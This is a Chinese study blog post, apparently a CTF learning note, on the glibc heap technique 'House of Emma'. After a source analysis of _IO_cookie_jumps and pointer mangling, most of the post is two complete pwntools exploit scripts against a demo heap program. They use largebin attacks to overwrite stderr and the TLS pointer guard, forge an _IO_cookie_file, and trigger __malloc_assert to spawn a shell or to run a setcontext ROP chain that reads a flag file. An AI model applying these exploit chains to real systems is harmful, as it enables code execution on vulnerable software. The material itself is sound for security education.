当前位置: 首页 > news >正文

【我的 PWN 学习手札】House of Emma

House of Emma

参考文献

第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全KER - 安全资讯平台

文章 - house of emma 心得体会 - 先知社区


前一篇博客【我的 PWN 学习手札】House of Kiwi-CSDN博客的利用手法有两个关键点,其一是利用__malloc_assert进入IO链,其二是劫持全局的_IO_file_jumps_指针。然而当遇到_IO_file_jumps_不可写的时候,House of Kiwi这种方法失效。高版本的libc取消了__malloc_hook__free_hookhook,因此在Kiwi失效的情况下,寻找其他合法的vtable表,即在__start___libc_IO_vtables - __stop___libc_IO_vtables之间的表,看能否被我们利用。

House of Emma主要就是找到了一条利用虚表的链子,通过借助_IO_cookie_jumps中的函数指针来实现类似劫持Hook从而控制程序执行流的效果。

一、源码分析

libio/iofopncook.c中定义了满足vtable合法性要求的表_IO_cookie_jumps,在__start___libc_IO_vtables - __stop___libc_IO_vtables之间

static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_file_finish),JUMP_INIT(overflow, _IO_file_overflow),JUMP_INIT(underflow, _IO_file_underflow),JUMP_INIT(uflow, _IO_default_uflow),JUMP_INIT(pbackfail, _IO_default_pbackfail),JUMP_INIT(xsputn, _IO_file_xsputn),JUMP_INIT(xsgetn, _IO_default_xsgetn),JUMP_INIT(seekoff, _IO_cookie_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_file_setbuf),JUMP_INIT(sync, _IO_file_sync),JUMP_INIT(doallocate, _IO_file_doallocate),JUMP_INIT(read, _IO_cookie_read),JUMP_INIT(write, _IO_cookie_write),JUMP_INIT(seek, _IO_cookie_seek),JUMP_INIT(close, _IO_cookie_close),JUMP_INIT(stat, _IO_default_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue),
};

表内的

  • _IO_cookie_read
  • _IO_cookie_write
  • _IO_cookie_seek
  • _IO_cookie_close

这几个函数的实现,更具体来说是先提取虚表上的函数指针与参数,然后调用对应函数指针来实现的:

libio/iofopncook.c

static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (read_cb);
#endifif (read_cb == NULL)return -1;return read_cb (cfile->__cookie, buf, size);
}static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (write_cb);
#endifif (write_cb == NULL){fp->_flags |= _IO_ERR_SEEN;return 0;}ssize_t n = write_cb (cfile->__cookie, buf, size);if (n < size)fp->_flags |= _IO_ERR_SEEN;return n;
}static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (seek_cb);
#endifreturn ((seek_cb == NULL|| (seek_cb (cfile->__cookie, &offset, dir)== -1)|| offset == (off64_t) -1)? _IO_pos_BAD : offset);
}static int
_IO_cookie_close (FILE *fp)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (close_cb);
#endifif (close_cb == NULL)return 0;return close_cb (cfile->__cookie);
}

_IO_cookie_read为例,将(FILE *)fp转换为struct _IO_cookie_file,然后从虚表中提取出cookie_read_function_t *read_cb函数指针,将__cookie成员作为其中一个参数进行调用。

/* Special file type for fopencookie function.  */
struct _IO_cookie_file
{struct _IO_FILE_plus __fp;void *__cookie;cookie_io_functions_t __io_functions;
};

可以看到,_IO_cookie_file的结构由来,依旧是采用类似继承的方式,通过扩展_IO_FILE_plus类型,添加__cookie__io_functions成员,即参数和虚表。在libio/bits/types/cookie_io_functions_t.h可以看到对结构体中虚表的声明:

/* The structure with the cookie function pointers.The tag name of this struct is _IO_cookie_io_functions_t topreserve historic C++ mangled names for functions takingcookie_io_functions_t arguments.  That name should not be used innew code.  */
typedef struct _IO_cookie_io_functions_t
{cookie_read_function_t *read;		/* Read bytes.  */cookie_write_function_t *write;	/* Write bytes.  */cookie_seek_function_t *seek;		/* Seek/tell file position.  */cookie_close_function_t *close;	/* Close file.  */
} cookie_io_functions_t;

对于虚表的利用,类似于hook,我们可以劫持这些虚表指针,劫持参数,实现程序执行流的劫持。

然而glibc设计者也不是吃素的,对于这些虚表指针,是经过加密保护的:

#ifdef PTR_DEMANGLEPTR_DEMANGLE (write_cb);
#endif

由于搜出来该宏定义的位置比较多,这里通过调试来确认加解密过程。定位到_IO_cookie_write函数汇编代码,看看函数指针在调用前是如何进行解密的。

pwndbg> x/20i _IO_cookie_write 0x7ffff7c78800 <_IO_cookie_write>:	endbr64 0x7ffff7c78804 <_IO_cookie_write+4>:	push   rbp0x7ffff7c78805 <_IO_cookie_write+5>:	push   rbx0x7ffff7c78806 <_IO_cookie_write+6>:	mov    rbx,rdi0x7ffff7c78809 <_IO_cookie_write+9>:	sub    rsp,0x80x7ffff7c7880d <_IO_cookie_write+13>:	mov    rax,QWORD PTR [rdi+0xf0]0x7ffff7c78814 <_IO_cookie_write+20>:	ror    rax,0x110x7ffff7c78818 <_IO_cookie_write+24>:	xor    rax,QWORD PTR fs:0x300x7ffff7c78821 <_IO_cookie_write+33>:	test   rax,rax0x7ffff7c78824 <_IO_cookie_write+36>:	je     0x7ffff7c78837 <_IO_cookie_write+55>0x7ffff7c78826 <_IO_cookie_write+38>:	mov    rbp,rdx0x7ffff7c78829 <_IO_cookie_write+41>:	mov    rdi,QWORD PTR [rdi+0xe0]0x7ffff7c78830 <_IO_cookie_write+48>:	call   rax0x7ffff7c78832 <_IO_cookie_write+50>:	cmp    rbp,rax0x7ffff7c78835 <_IO_cookie_write+53>:	jle    0x7ffff7c7883a <_IO_cookie_write+58>0x7ffff7c78837 <_IO_cookie_write+55>:	or     DWORD PTR [rbx],0x200x7ffff7c7883a <_IO_cookie_write+58>:	add    rsp,0x80x7ffff7c7883e <_IO_cookie_write+62>:	pop    rbx0x7ffff7c7883f <_IO_cookie_write+63>:	pop    rbp0x7ffff7c78840 <_IO_cookie_write+64>:	ret    
pwndbg> tls
tls : 0x7ffff7fbb740
pwndbg> tele 0x7ffff7fbb740+0x30
00:0000│  0x7ffff7fbb770 ◂— 0xe90cc09eeee59ad5
01:0008│  0x7ffff7fbb778 ◂— 0
... ↓     6 skipped
pwndbg>

可以看到加密的函数指针存在rax寄存器中,通过ror(Rotate Right)循环右移11位,然后和fs:0x30位置的数据进行xor异或,就得到了真正的函数指针。在x86-64linux中使用fs段寄存器来指向线程本地存储,也即tls。上述调试信息打印出来了用于异或的数值。

二、House of Emma利用手法

基于上述源码分析结果,我们可以大致明确我们的目标就是设法劫持_IO_cookie_jumps,调用相关被劫持函数指针从而劫持程序执行流实现利用。

  1. 泄露libcheap基址
  2. largebin attackstderr指针
  3. 第二次largebin attackfs:0x30guard
  4. 修复largebin并申请出堆块
  5. 如果打ROP,则在其他堆块上布置好ROP
  6. 在申请的堆块上伪造_IO_cookie_file类型结构体,设置好vtable指针指向_IO_cookie_jumps的合适偏移,设置好_cookie__io_functions的函数指针
  7. 通过House of Kiwi链子__malloc_assert或其他方式触发IO,触发程序流劫持

pwn.c模板为例

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>char *chunk_list[0x100];#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);while (1) {menu();int choice = get_num();switch (choice) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:_exit(0);default:puts("invalid choice.");}}
}

首先泄露libcheap

add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00'))-0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0,0x418)

第一次largebin attack篡改stderr指针

# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0,0x408)

在这里插入图片描述

第二次largebin attack修改tls附近的guard

# hijack guard
edit(2,p64(0)*3+p64(guard-0x20))
delete(0)
add(0,0x3f8)

在这里插入图片描述

然后修复并申请出堆heap_base+0x6d0的堆块

# fix & malloc chunk
edit(2,p64(libc.sym['main_arena']+1104)*2+p64(file_addr)*2)
add(2,0x428)

将在申请出来的堆块上布置_IO_cookie_file结构体,计算vtable

pwndbg> p &_IO_cookie_jumps.__write 
$18 = (_IO_write_t *) 0x7ffff7df3b78 <_IO_cookie_jumps+120>
pwndbg> p &_IO_cookie_jumps
$19 = (const struct _IO_jump_t *) 0x7ffff7df3b00 <_IO_cookie_jumps>
pwndbg> p/x 0x7ffff7df3b78-0x7ffff7df3b00
$20 = 0x78
pwndbg> p &_IO_file_jumps.__xsputn 
$21 = (_IO_xsputn_t *) 0x7ffff7df45b8 <__GI__IO_file_jumps+56>
pwndbg> p &_IO_file_jumps
$22 = (const struct _IO_jump_t *) 0x7ffff7df4580 <__GI__IO_file_jumps>
pwndbg> p/x 0x7ffff7df45b8-0x7ffff7df4580
$23 = 0x38
pwndbg> p/x 0x78-0x38
$24 = 0x40

布置结构体,先确保vtable设置合理,能够触发目标函数,然后再填写_cookie字段和__io_functions字段

fake_file = b''
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps']+0x40)  # fake vtableedit(2,fake_file)

可以看到,程序通过__malloc_assert进入IO,执行的函数已经被我们替换到_IO_cookie_write

 ► 0x7ffff7c6f055 <__vfprintf_internal+261>    call   qword ptr [rbx + 0x38]      <__SI_IO_new_file_xsputn_12>rdi: 0x55555555c6d0 ◂— 0rsi: 0x7ffff7dba110 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"rdx: 0rcx: 0
----------------------------------------------------------------------------------------------------► 0x7ffff7c6f055 <__vfprintf_internal+261>    call   qword ptr [rbx + 0x38]      <_IO_cookie_write>rdi: 0x55555555c6d0 ◂— 0rsi: 0x7ffff7dba110 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"rdx: 0

然后我们可以简单地设置函数指针为system,参数设为字符串/bin/sh\x00的指针

...
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40)  # fake vtable
fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(0)
fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11)) #_IO_cookie_write
fake_file += p64(0)
fake_file += p64(0)

然后触发__malloc_assert

# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b __malloc_assert\n')
add(10, 0x500)

从而getshell

在这里插入图片描述

from pwn import *elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.osdef add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:", str(index).encode())io = process("./pwn")add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0, 0x418)# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0, 0x408)# hijack guard
edit(2, p64(0) * 3 + p64(guard - 0x20))
delete(0)
add(0, 0x3f8)# fix & malloc chunk
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2, 0x428)payload_addr = heap_base +0x2a0fake_file = b''
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40)  # fake vtable
fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(0)
fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11))
fake_file += p64(0)
fake_file += p64(0)
edit(2, fake_file)# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b _IO_cookie_write\nc')
add(10, 0x500)io.interactive()

如果要走ROP,则可参照【我的 PWN 学习手札】新版本libc下的setcontext与平替gadget_setcontext pwn rdx-CSDN博客,稍微修改一下板子即可

在这里插入图片描述

from pwn import *elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.osdef add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:", str(index).encode())io = process("./pwn")add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0, 0x418)# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0, 0x408)# hijack guard
edit(2, p64(0) * 3 + p64(guard - 0x20))
delete(0)
add(0, 0x3f8)# fix & malloc chunk
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2, 0x428)payload_addr = heap_base +0x2a0fake_file = b''
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40)  # fake vtable
# fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(payload_addr)
fake_file += p64(0)gadget_addr=libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'),executable=True).__next__()
success(hex(gadget_addr))# fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11))fake_file += p64(rol(gadget_addr ^ file_addr, 0x11))
fake_file += p64(0)
fake_file += p64(0)
edit(2, fake_file)ROP_addr=payload_addr+0x8
flag_addr=payload_addr+0x100
frame_addr=payload_addr+0x150
buf_addr=payload_addr+0x200ROP_chain=b''
# read(3,buf,0x20)
ROP_chain+=p64(libc.search(asm('pop rdi;ret'),executable=True).__next__())
ROP_chain+=p64(3)
ROP_chain+=p64(libc.search(asm('pop rsi;ret'),executable=True).__next__())
ROP_chain+=p64(buf_addr)
ROP_chain+=p64(libc.search(asm('pop rdx ; pop rbx ; ret'),executable=True).__next__()) #所选libc没有直接的pop rdx;ret
ROP_chain+=p64(0x20)
ROP_chain+=p64(0)
ROP_chain+=p64(libc.sym['read'])
# puts(buf) write(1,buf,0x20)
ROP_chain+=p64(libc.search(asm('pop rdi;ret'),executable=True).__next__())
ROP_chain+=p64(1)
ROP_chain+=p64(libc.search(asm('pop rsi;ret'),executable=True).__next__())
ROP_chain+=p64(buf_addr)
ROP_chain+=p64(libc.search(asm('pop rdx ; pop rbx ; ret'),executable=True).__next__()) #所选libc没有直接的pop rdx;ret
ROP_chain+=p64(0x20)
ROP_chain+=p64(0)
ROP_chain+=p64(libc.sym['write'])payload=p64(0)
payload+=p64(frame_addr)
payload+=ROP_chain
payload=payload.ljust(0x100,b'\x00')
payload+=b'./flag\x00'
payload=payload.ljust(0x150,b'\x00')frame=SigreturnFrame()
# open("./flag")
frame.rdi=flag_addr
frame.rip=libc.sym['open']
frame.rsp=payload_addr+0x10
frame=bytearray(frame.__bytes__())
frame[0x20:0x20+8]=p64(libc.sym['setcontext']+61)payload+=bytes(frame)
edit(0,payload)# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b _IO_cookie_write\nc')
add(10, 0x500)io.interactive()

相关文章:

【我的 PWN 学习手札】House of Emma

House of Emma 参考文献 第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全KER - 安全资讯平台 文章 - house of emma 心得体会 - 先知社区 前一篇博客【我的 PWN 学习手札】House of Kiwi-CSDN博客的利用手法有两个关键点&#xff0c;其一是利用__malloc_assert进入…...

4 Redis4 List命令类型讲解

Redis 列表&#xff08;List&#xff09;命令详解 1. Redis 列表&#xff08;List&#xff09;简介 Redis 列表&#xff08;List&#xff09;是一个简单的字符串列表&#xff0c;按照插入顺序排序。它可以用作 栈&#xff08;Stack&#xff09; 和 队列&#xff08;Queue&…...

CentOS 7 安装 Redis6.2.6

获取资源、下载安装 Redis6.2.6 安装Redis6.2.6 上传到服务器或直接下载&#xff08;wget http://download.redis.io/releases/redis-6.2.6.tar.gz&#xff09;、再解压安装 tar -zxvf redis-6.2.6.tar.gz 进入redis解压目录 cd redis-6.2.6先编译 make再执行安装 make PREFI…...

数据库原理4

1.数据库中的数据通常可分为用户数据和系统数据两部分。用户数据是用户使用的数据&#xff1b;系统数据称为数据字典。 2.SQL语言的功能&#xff1a;数据查询&#xff1b;数据操纵&#xff1b;数据定义&#xff1b;数据操作&#xff1b;数据控制 3.对未提交更新的依赖&#x…...

doris: MySQL

Doris JDBC Catalog 支持通过标准 JDBC 接口连接 MySQL 数据库。本文档介绍如何配置 MySQL 数据库连接。 使用须知​ 要连接到 MySQL 数据库&#xff0c;您需要 MySQL 5.7, 8.0 或更高版本 MySQL 数据库的 JDBC 驱动程序&#xff0c;您可以从 Maven 仓库下载最新或指定版本的…...

Django模型数据删除:详解两种方式

Django模型数据删除&#xff1a;详解两种方式 在Django框架中&#xff0c;数据模型&#xff08;Model&#xff09;不仅定义了应用的数据结构&#xff0c;还提供了与数据库交互的接口&#xff0c;包括数据的删除操作。本文将详细介绍两种在Django中删除数据的方式&#xff1a;通…...

C++并发以及多线程的秘密

1.基础概念 并发&#xff08;Concurrency&#xff09; 并发是指在同一时间段内&#xff0c;多个任务看起来像是同时执行的。并发并不一定意味着真正的同时执行&#xff0c;它可以是通过时间片轮转等方式在多个任务之间快速切换&#xff0c;让用户感觉多个任务在同时进行。并发…...

自学微信小程序的第十二天

DAY12 1、腾讯地图SDK是一套为开发者提供多种地理位置服务的工具,可以使开发者在自己的应用中加入地图相关功能,轻松访问腾讯地图服务和数据,更好地实现微信小程序的地图功能。 表49:search()方法的常用选项 选项 类型 说明 keyword string POI搜索关键词,默认周边搜索 l…...

⭐算法OJ⭐跳跃游戏【贪心算法】(C++实现)Jump Game 系列 I,II

既股票买卖系列之后的第二组贪心算法题目&#xff1a;跳跃游戏系列。这一篇介绍的两个问题&#xff0c;其输入均为一个数组&#xff0c;每个元素表示在该位置可以跳跃的最大长度。 55. Jump Game You are given an integer array nums. You are initially positioned at the …...

带你从入门到精通——自然语言处理(五. Transformer中的自注意力机制和输入部分)

建议先阅读我之前的博客&#xff0c;掌握一定的自然语言处理前置知识后再阅读本文&#xff0c;链接如下&#xff1a; 带你从入门到精通——自然语言处理&#xff08;一. 文本的基本预处理方法和张量表示&#xff09;-CSDN博客 带你从入门到精通——自然语言处理&#xff08;二…...

ubuntu挂载固态硬盘

Ubuntu 中挂载位于 /dev/sdc1 的固态硬盘&#xff0c;可以按照以下步骤操作&#xff1a; 步骤 1&#xff1a;确认分区信息 首先&#xff0c;确保设备 /dev/sdc1 存在且已正确分区&#xff1a; sudo fdisk -l /dev/sdc # 查看分区表 lsblk # 确认分区路…...

WPF+WebView 基础

1、基于.NET8&#xff0c;通过NuGet添加Microsoft.Web.WebView2。 2、MainWindow.xaml代码如下。 <Window x:Class"Demo.MainWindow"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.microsoft.com/win…...

国内光子AI智能引擎:OptoChat AI在南京江北新区亮相

3月3日&#xff0c;从南京市投资促进局传来振奋人心的消息&#xff0c;南京江北新区的一家高科技企业——南京南智先进光电集成技术研究院有限公司&#xff08;简称“南智光电”&#xff09;&#xff0c;携手南京知满科技等合作伙伴&#xff0c;成功研发出国内首个光子AI智能引…...

vscode离线配置远程服务器

目录 一、前提 二、方法 2.1 查看vscode的commit_id 2.2 下载linux服务器安装包 2.3 安装包上传到远程服务器&#xff0c;并进行文件解压缩 三、常见错误 Failed to set up socket for dynamic port forward to remote port&#xff08;vscode报错解决方法&#xff09;-C…...

【安装】SQL Server 2005 安装及安装包

安装包 SQLEXPR.EXE&#xff1a;SQL Server 服务SQLServer2005_SSMSEE.msi&#xff1a;数据库管理工具&#xff0c;可以创建数据库&#xff0c;执行脚本等。SQLServer2005_SSMSEE_x64.msi&#xff1a;同上。这个是 64 位操作系统。 下载地址 https://www.microsoft.com/zh-c…...

使用Maven搭建Spring Boot框架

文章目录 前言1.环境准备2.创建SpringBoot项目3.配置Maven3.1 pom.xml文件3.2 添加其他依赖 4. 编写代码4.1 启动类4.2 控制器4.3 配置文件 5.运行项目6.打包与部署6.1 打包6.2 运行JAR文件 7.总结 前言 Spring Boot 是一个用于快速构建 Spring 应用程序的框架&#xff0c;它简…...

将docker容器打包为.tar包

1. 创建打包脚本 #!/bin/bash # 设置 -e 使得脚本在遇到错误时停止执行 set -e# 必要的参数 exported_container_name"needed_export_container_name_or_id" # 需要被导出的容器的名称或id image_save_name"my_custom_image_name:v25.03.03" # 镜像需…...

SYSTEM文件夹下的文件

sys文件夹下的.c和.h文件里的函数 最重要的倒数第二个 deley文件夹下的.c和.h文件 Systick工作原理 系统滴答定时器是在内核里的 每来一个时钟信号&#xff0c;计数器减一 F1系列时钟源是HCLK&#xff08;就是AHB总线上的时钟信号&#xff09; Systick控制寄存器 Systick重装…...

GPPT: Graph Pre-training and Prompt Tuning to Generalize Graph Neural Networks

GPPT: Graph Pre-training and Prompt Tuning to Generalize Graph Neural Networks KDD22 推荐指数&#xff1a;#paper/⭐⭐#​ 动机 本文探讨了图神经网络&#xff08;GNN&#xff09;在迁移学习中“预训练-微调”框架的局限性及改进方向。现有方法通过预训练&#xff08…...

【SegRNN 源码理解】PMF的多步并行预测

位置编码 elif self.dec_way "pmf":if self.channel_id:# m,d//2 -> 1,m,d//2 -> c,m,d//2# c,d//2 -> c,1,d//2 -> c,m,d//2# c,m,d -> cm,1,d -> bcm, 1, dpos_emb torch.cat([self.pos_emb.unsqueeze(0).repeat(self.enc_in, 1, 1),self.cha…...

Linux链表操作全解析

Linux C语言链表深度解析与实战技巧 一、链表基础概念与内核链表优势1.1 为什么使用链表&#xff1f;1.2 Linux 内核链表与用户态链表的区别 二、内核链表结构与宏解析常用宏/函数 三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势5.1 插入效率5.2 安全…...

【HarmonyOS 5.0】DevEco Testing:鸿蒙应用质量保障的终极武器

——全方位测试解决方案与代码实战 一、工具定位与核心能力 DevEco Testing是HarmonyOS官方推出的​​一体化测试平台​​&#xff0c;覆盖应用全生命周期测试需求&#xff0c;主要提供五大核心能力&#xff1a; ​​测试类型​​​​检测目标​​​​关键指标​​功能体验基…...

可靠性+灵活性:电力载波技术在楼宇自控中的核心价值

可靠性灵活性&#xff1a;电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中&#xff0c;电力载波技术&#xff08;PLC&#xff09;凭借其独特的优势&#xff0c;正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据&#xff0c;无需额外布…...

Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility

